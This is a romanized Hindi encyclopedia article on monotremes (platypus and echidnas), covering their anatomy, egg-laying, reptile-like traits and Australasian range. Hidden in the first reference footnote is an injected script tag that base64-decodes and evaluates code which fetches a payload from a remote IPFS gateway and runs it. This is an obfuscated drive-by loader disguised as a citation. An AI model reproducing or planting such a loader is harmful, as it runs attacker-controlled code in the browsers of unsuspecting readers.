एकविद्र
ekavidr jantuoan ka ek gan (aaurdar) hai, jisamean ab do hi prakar ke jantu jivit haian jinake chitr is lekh mean dikhae ge haian. aangreji mean is gan ka nam m aaunotrimaita hai, jisaka arth hai ekavidr, arthath ek chhidravale jantu (m aauno = ek + trima = chhidr, vidr). sanbhavat: inhean aandajastani kahana adhik uchit hoga, kyoanki bachche aande se nikalate haian aur nikalane par mata ke stan se doodh pite haian.
ekavidr aandajastani prani any sabhi stanadhariyoan se kuchh itane bhinn haian ki inake lie protothiriya namak ek alag upavarg ki kalpana karani p di hai jisamean keval varatachanch (dak bil, aauranithoriankas) tatha sakanti (spaini aiant-eetar, taikigl aausas tatha zaigl aausas) namak prani rakhe jate haian. ye stanadhari prani (maimal) haian, kyoanki inake sare sharir par bal, poorn vikasit ur:prachir (dayaphraam), char veshmoanvala hriday, keval bayaan hi mahadhamani chap (eaautik arch), keval dantasthi ki hi bani adhohanvasthi (maiandibil), shishuoan ke poshan ke lie nari ke udar par upasthit stanagranthiyaan, sharir ka ekasam tap, tvacha mean sved granthiyaan tatha tail granthiyaan, tin karnasthikaean tatha (sankatiyoan mean) parivalit (kanavolyooted) mastishk, aur bahari kan tatha karnapallav (pina) hote haian. vikas ki drishti se vartaman stanadhariyoan mean inaki sthiti sabase nimnakoti ki hai, kyoanki inamean anek lakshan sarisripoan ke se pae jate haian, jaise aansamekhala (pektoral gardil) mean uroansyasthi (korak aauyad), pur:uroansyasthi (prikorak aauyad) tatha aantarakshakasthi (iantaraklaivikil) ka alag alag hona, graiv parshukaoan (sarvikal ribs) ki upasthiti, kapal ki anek asthiyoan ka sarisripoan ki hi bhaanti ka hona, dianbavahiniyoan ka aranbh se aant tak alag alag hona aur avaskar veshm (kloekal cheanbar) mean alag alag janan radhraeanan dvara khulana, adi. sabase pramukh tatha sabase adhik mahatvapoorn sarisripi lakshan hai, charmasadrish tatha anamy (lachila) avaran tatha paryapt aandapit se yukt aande dena, jaisa any kisi bhi unnat stanadhari mean nahian paya jata. inake is lakshan ke karan hi ham inhean aandajastani kahate haian.
shh
varat chachu (aauranithoriankas)
in praniyoan ke sir ka agala bhag tuand ke roop ka hota hai aur praudhavastha mean daant anupasthit rahate haian. stanagranthiyoan mean choochuk nahian hote. nari mean n to garbhashay hi hota hai aur n yoni hi. nar mean vrishan udar mean hi sthit rahate haian tatha shishn se keval shukranu bahar ate haian, mootr nahian. pachan tatha jananatantr alag alag chhidroan dvara bahar n khulakar keval ek avaskar (guda) dvar hi bahar khulate haian. staniyoan mean ek yahi aise haian jinamean kravyaangak (kairankal) tatha aandadant (eg tooth) pae jate haian. jivashmoan (f aausils) ki anupasthiti mean inake prachin itihas ke vishay mean aisa anuman hai ki inaka udbhav sanbhavat: raktashm (trayasik) yug mean (ya isase bhi poorv) hua tha. ye prani aj astreliya, tasmaniya, nyoo gini tatha papua mean hi shesh rah ge haian, aur vahaan bhi sanvabhat: isalie ki ek to bhaugolik drishti se inaka nivasasthal any bhoobhagoan se alag tha aur doosare inake jivanayapan ke dhang mean inaka pratispardhi doosara stanadhari us bhoobhag mean nahian tha.[1]
aandajastanin gan ke udaharan sakanti (taikigl aausas) tatha prasakanti (zaikigl aausas) haian, jinaki pith par atmaraksha ke sadhanasvaroop baloan ke sath hi anek prishthakant hote haian. unake chhote tatha majaboot pairoan ki aanguliyoan mean, apane rahane ka vivar khodane aur apane ahar ke lie chiantiyoan aur dimakoan ke bil khodane ke lie lanbe, tej tatha sudridh nakh hote haian. ek any udaharan ardhajalachari varatachanchu haian jo jal mean dubaki lagakar apani batakh ki si choanch se ghoanghe, sip, krimi tatha kathinivalkiyoan ko kich d se nikalakar apane galoan mean bhar lata hai aur tat par banae hue apane vivar mean jakar unake kavach adi to dakar aram se unhean khata hai. varatachanchu gota lagane tatha tairane mean b da hi kushal hota hai, jisake lie isake pairoan ki aanguliyaan tvagbaddh hoti haian. isaka mulayam lomash charm (oornajin) tatha maans donoan hi manushy apane upayog mean lata hai. sakanti (taikigl aausas)[2]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 207 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.-ech.barel : d plaitipas; bedard : maimailiya.
sanbandhit lekh
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varnamala kramanusar lekh khoj
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